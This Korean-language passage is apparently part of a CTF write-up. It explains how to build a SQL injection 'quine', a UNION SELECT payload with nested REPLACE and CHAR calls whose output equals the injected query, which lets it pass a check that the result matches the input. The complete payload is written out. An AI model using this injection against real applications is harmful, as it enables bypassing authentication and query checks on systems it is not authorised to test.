' union select REPLACE(REPLACE('$',CHAR(34),CHAR(39)),CHAR(36),'$') as 'quine'
이렇게 변경되고 이는 [1]$[3]$[4]의 형태를 띄게 된다.
' union select REPLACE(REPLACE('$',CHAR(34),CHAR(39)),CHAR(36),'$') as 'quine'
조금 부족하다. [2] 부분이 빠져있다. 이는 두번 째 REPLACE에서 해결된다.
첫번째 결과를[1]$[3]$[4]라고 하자.
REPLACE([1]$[3]$[4],CHAR(36),'" union select REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") as "quine')
CHAR(36)을 [2]로 바꾸는 것이다. CHAR(36)은 $와 같다. 2번째 REPLACE까지 거치고 나게되면
결과적으로 [1][2][3][2][4]가 된다. 이는 우리가 요청한 쿼리와 같은 구조를 가진다.
' union select REPLACE(REPLACE('" union select REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") as "quine' ,CHAR(34),CHAR(39)),CHAR(36),'" union select REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") as "quine') as 'quine
REPLACE함수는 대상 값에 바꿀 값이 여러 개가 있으면 전부 원하는 값으로 변경시켜 준다.
결과적으로 실제 요청 파라미터에는 하나의 쿼리만 들어가있지만 REPLACE 함수를 통해 여러 번 호출하여 결과 값에 여러번 출력해주어 클리어 해주었다 할 수 있다.